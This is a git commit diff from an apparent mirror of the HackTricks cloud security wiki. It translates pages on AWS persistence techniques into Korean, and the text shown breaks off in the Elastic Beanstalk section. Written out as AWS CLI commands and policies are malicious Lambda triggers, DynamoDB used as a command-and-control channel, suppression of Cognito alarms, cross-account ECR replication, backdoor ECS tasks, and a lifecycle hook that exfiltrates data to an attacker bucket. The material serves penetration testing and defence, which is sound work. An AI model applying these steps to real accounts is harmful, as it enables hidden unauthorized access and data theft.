mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -1,6 +1 @@
|
||||
# AWS - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - 지속성
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,25 +12,21 @@ For more information go to:
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
API 게이트웨이의 리소스 정책을 수정하여 자신에게 접근 권한을 부여합니다.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
모든 엔드포인트에 대한 접근 권한을 부여하기 위해 람다 인증자의 코드를 수정합니다.\
|
||||
또는 인증자의 사용을 제거합니다.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
리소스가 IAM 인증자를 사용하는 경우 IAM 권한을 수정하여 자신에게 접근 권한을 부여할 수 있습니다.\
|
||||
또는 인증자의 사용을 제거합니다.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
API 키가 사용되는 경우, 지속성을 유지하기 위해 이를 유출하거나 새 키를 생성할 수 있습니다.\
|
||||
또는 API 키의 사용을 제거합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
### 사용자 지속성
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성 요소가 있습니다:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
- **사용자가 제어하는 사용자 풀**을 아이덴티티 풀에 추가
|
||||
- 인증되지 않은 아이덴티티 풀에 **IAM 역할을 부여하고 기본 인증 흐름을 허용**
|
||||
- 공격자가 로그인할 수 있는 경우 **인증된 아이덴티티 풀**에
|
||||
- 주어진 역할의 **권한을 개선**
|
||||
- **속성을 통해 사용자 생성, 검증 및 권한 상승**을 수행하거나 **사용자 풀**에 새로운 사용자 추가
|
||||
- **외부 아이덴티티 제공자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용
|
||||
|
||||
Check how to do these actions in
|
||||
이 작업을 수행하는 방법은 다음을 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
@@ -29,18 +29,12 @@ Check how to do these actions in
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하십시오**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
기본적으로 이것은 비활성화되어 있습니다:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,64 +4,56 @@
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
### Lambda 백도어가 있는 DynamoDB 트리거
|
||||
|
||||
DynamoDB 트리거를 사용하여 공격자는 테이블에 악성 Lambda 함수를 연결하여 **은밀한 백도어**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있습니다.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
지속성을 유지하기 위해 공격자는 DynamoDB 테이블에서 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이를 통해 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다.
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
### DynamoDB를 C2 채널로 사용하기
|
||||
|
||||
공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어 (C2) 채널**로 사용할 수 있습니다.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이는 공격자가 손상된 리소스에 대한 지속성과 제어를 유지할 수 있게 합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,47 +12,43 @@ For more information check:
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
수비수가 **EC2 인스턴스가 침해되었다**고 판단하면, 그는 아마도 **네트워크**를 **격리**하려고 할 것입니다. 그는 명시적인 **Deny NACL**을 사용하거나 (하지만 NACL은 전체 서브넷에 영향을 미침), **보안 그룹을 변경하여** **모든 종류의 인바운드 또는 아웃바운드** 트래픽을 허용하지 않을 수 있습니다.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
공격자가 **기계에서 시작된 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
이 서비스는 **AMI 및 스냅샷의 생성**을 **예약**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\
|
||||
공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 구성하고 **자신의 계정과 공유**할 수 있습니다.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
인스턴스를 매일, 매주 또는 심지어 매월 실행하도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근이 가능한 기계를 실행할 수 있습니다.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**와 **높은 권한의 IAM 역할**을 사용할 수 있습니다.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
- 전통적인 **루트킷** 사용 예
|
||||
- 새로운 **공개 SSH 키** 추가 (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- **사용자 데이터**에 백도어 추가
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
- 사용된 AMI에 백도어 추가
|
||||
- 사용자 데이터에 백도어 추가
|
||||
- 키 쌍에 백도어 추가
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
피해자 VPC와 공격자 VPC 간의 피어링 연결을 생성하여 공격자가 피해자 VPC에 접근할 수 있도록 합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,88 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
### 악성 코드가 포함된 숨겨진 Docker 이미지
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
공격자는 **악성 코드가 포함된 Docker 이미지를** ECR 리포지토리에 업로드하고 이를 사용하여 대상 AWS 계정에서 지속성을 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS 또는 EKS와 같은 계정 내의 다양한 서비스에 악성 이미지를 은밀하게 배포할 수 있습니다.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
### 리포지토리 정책
|
||||
|
||||
리포지토리에 대한 접근 권한을 자신(또는 모든 사람)에게 부여하는 정책을 추가하세요:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 그래야만 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
### 레지스트리 정책 및 크로스 계정 복제
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
크로스 계정 복제를 구성하여 외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능합니다. 여기서 레지스트리를 복제하려는 **외부 계정**을 **지정**해야 합니다.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
먼저, 다음과 같은 **레지스트리 정책**을 사용하여 외부 계정에 레지스트리에 대한 액세스를 부여해야 합니다:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
그런 다음 복제 구성을 적용합니다:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,29 +4,28 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
### 숨겨진 주기적 ECS 작업
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
> TODO: 테스트
|
||||
|
||||
공격자는 Amazon EventBridge를 사용하여 **악성 작업의 실행을 주기적으로 예약하는 숨겨진 주기적 ECS 작업**을 생성할 수 있습니다. 이 작업은 정찰을 수행하거나 데이터를 유출하거나 AWS 계정에서 지속성을 유지할 수 있습니다.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
### 기존 ECS 작업 정의에서 백도어 컨테이너
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
> TODO: 테스트
|
||||
|
||||
공격자는 합법적인 컨테이너와 함께 실행되는 기존 ECS 작업 정의에 **은밀한 백도어 컨테이너**를 추가할 수 있습니다. 백도어 컨테이너는 지속성을 위해 사용되며 악의적인 활동을 수행하는 데 사용될 수 있습니다.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
### 문서화되지 않은 ECS 서비스
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
> TODO: 테스트
|
||||
|
||||
공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기가 더 어려워집니다.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
### 리소스 정책 / 보안 그룹 수정
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
**리소스 정책 및/또는 보안 그룹**을 수정하여 파일 시스템에 대한 접근을 지속할 수 있습니다.
|
||||
|
||||
### Create Access Point
|
||||
### 액세스 포인트 생성
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
**액세스 포인트**를 **생성**하여 `/`에 대한 루트 접근이 가능하도록 하고, 파일 시스템에 대한 특권 접근을 유지하기 위해 **다른 지속성**을 구현한 서비스에서 접근할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+37
-43
@@ -4,31 +4,30 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
### 인스턴스 내 지속성
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
AWS 계정 내에서 지속성을 유지하기 위해 **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**.
|
||||
|
||||
### Backdoor in Version
|
||||
### 버전 내 백도어
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상되는 코드가 실행되도록 할 수 있습니다.
|
||||
|
||||
### New backdoored version
|
||||
### 새로운 백도어 버전
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
공격자는 실제 버전의 코드를 변경하는 대신 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
### 사용자 정의 리소스 생명 주기 훅 악용
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
> TODO: 테스트
|
||||
|
||||
Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 중에 사용자 정의 스크립트를 실행할 수 있는 생명 주기 훅을 제공합니다. 공격자는 **주기적으로 데이터를 유출하거나 AWS 계정에 대한 접근을 유지하는 스크립트를 실행하도록 생명 주기 훅을 구성할 수 있습니다**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
